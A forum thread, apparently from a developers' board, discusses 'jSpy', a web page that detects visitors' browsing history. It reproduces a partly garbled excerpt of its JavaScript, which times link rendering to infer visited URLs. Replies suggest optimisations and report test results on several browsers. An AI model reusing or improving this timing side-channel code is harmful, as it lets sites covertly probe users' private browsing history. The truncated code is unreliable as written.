Unless I'm missing something, it doesn't collect your history but rather can test whether you have visited a URL before. While still a problem, it's certainly a different thing.
This vector has been known for many years.
jSpy: Automatically detect user's history
21–30 of 43 posts
Re: jSpy: Automatically detect user's history
#22 var updateParams2 = updateParams;
function (){debugger; updateParams2()};
then click the button and step in. Here is a part of the source, hope the author doesn't mind about this: urls = [
function initStats() {
currentUrl = 0;
start = NaN;
counter = 0;
posTimes = [];
negTimes = [];
if (stop) {
stop = false;
loop()
}
}
function updateParams() {
out.style.textShadow = "black 1px 1px 60px";
out.style.opacity = "0.5";
out.style.fontSize = "15px";
textLines = (window.textlines ? window.textlines : 100);
textLen = (window.textlen ? window.textlen : 5);
write();
resetLinks();
initStats()
}
function write() {
var c = "";
var a = urls[currentUrl];
var d = "";
while (d.length " + d;
c += " "
}
out.innerHTML = c
}
function updateLinks() {
var a = urls[currentUrl];
for (var b = 0; b 4) {
if (currentUrl == 0) {
document.getElementById("nums").textContent = "Calibrating...";
posTimes.push(d);
timespans[currentUrl].textContent = posTimes.join(", ")
}
if (currentUrl == 1) {
negTimes.push(d);
timespans[currentUrl].textContent = negTimes.join(", ");
if (negTimes.length >= calibIters) {
var b = median(posTimes);
var a = median(negTimes);
if (b - a = 2) {
timespans[currentUrl].textContent = d;
linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited";
if ((d >= threshold) == true) {
window.links.push(urls[currentUrl])
}
incUrl = true
}
currentUrl++;
if (currentUrl == 2 && (negTimes.length Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec";
stop = true;
finishjSpy()
}
if (currentUrl > 2) {
$(".analyze_log").html(urls[currentUrl])
} else {
$(".analyze_log").html("Calibrating... ")
}
currentURLout.textContent = urls[currentUrl]
}
} else {
updateLinks()
}
}
requestAnimationFrame(loop)
}
function setupLinks() {
window.links = [];
var f = document.createElement("table");
f.innerHTML = "URLTimes (ms)";
f.className = "linklist";
for (var e = 0; e " + b + "")
});
$(".content").fadeOut();
$(".jspy").remove();
setTimeout(function() {
$(".content").remove();
$(".results").fadeIn()
}, 500)
}
;Re: jSpy: Automatically detect user's history
#23If you want to check the source code write in your console: var updateParams2 = updateParams; function (){debugger; updateParams2()}; then click the button and step in. Here is a part of the source, hope the author doesn't mind about this: urls = [ function initStats() { currentUrl = 0; start = NaN; counter = 0; posTimes = []; negTimes = []; if (stop) { stop = false; loop() } } function updateParams() { out.style.tex…
- use if else;
- replace "if(stop){return}" with "cancelAnimationFrame";
- don't save data in the html nodes, DOM is slow, use js object to store data (timespans[currentUrl].textContent = d;).
- no need to use "window.links = ..." you can simply "links = ..."Re: jSpy: Automatically detect user's history
#24If you want to check the source code write in your console: var updateParams2 = updateParams; function (){debugger; updateParams2()}; then click the button and step in. Here is a part of the source, hope the author doesn't mind about this: urls = [ function initStats() { currentUrl = 0; start = NaN; counter = 0; posTimes = []; negTimes = []; if (stop) { stop = false; loop() } } function updateParams() { out.style.tex…
Suggestions: - use if else; - replace "if(stop){return}" with "cancelAnimationFrame"; - don't save data in the html nodes, DOM is slow, use js object to store data (timespans[currentUrl].textContent = d;). - no need to use "window.links = ..." you can simply "links = ..."
Re: jSpy: Automatically detect user's history
#25Earlier quoted context omitted.
Suggestions: - use if else; - replace "if(stop){return}" with "cancelAnimationFrame"; - don't save data in the html nodes, DOM is slow, use js object to store data (timespans[currentUrl].textContent = d;). - no need to use "window.links = ..." you can simply "links = ..."
Thanks for the suggestions, I implemented them, and also un-obfuscated and formatted the code. Also, now it's much faster since it doesn't use DOM.
Re: jSpy: Automatically detect user's history
#26Earlier quoted context omitted.
Thanks for the suggestions, I implemented them, and also un-obfuscated and formatted the code. Also, now it's much faster since it doesn't use DOM.
I see you always omit the semicolon for the last statement in a block. Is this a Pascal influence?
Re: jSpy: Automatically detect user's history
#27Re: jSpy: Automatically detect user's history
#28Re: jSpy: Automatically detect user's history
#29I run it in the Tint browser on Android and got Hacker News plus a few false positives, sites I never heard about and never been at (maybe some images included in other sites?). I got a much longer list of sites in Dolphin but that's my main Android browser. Again, many unknown sites but I can't remember or notice any random link I touch. I tried again with Chromium on Linux and got the cannot calibrate message. Fire…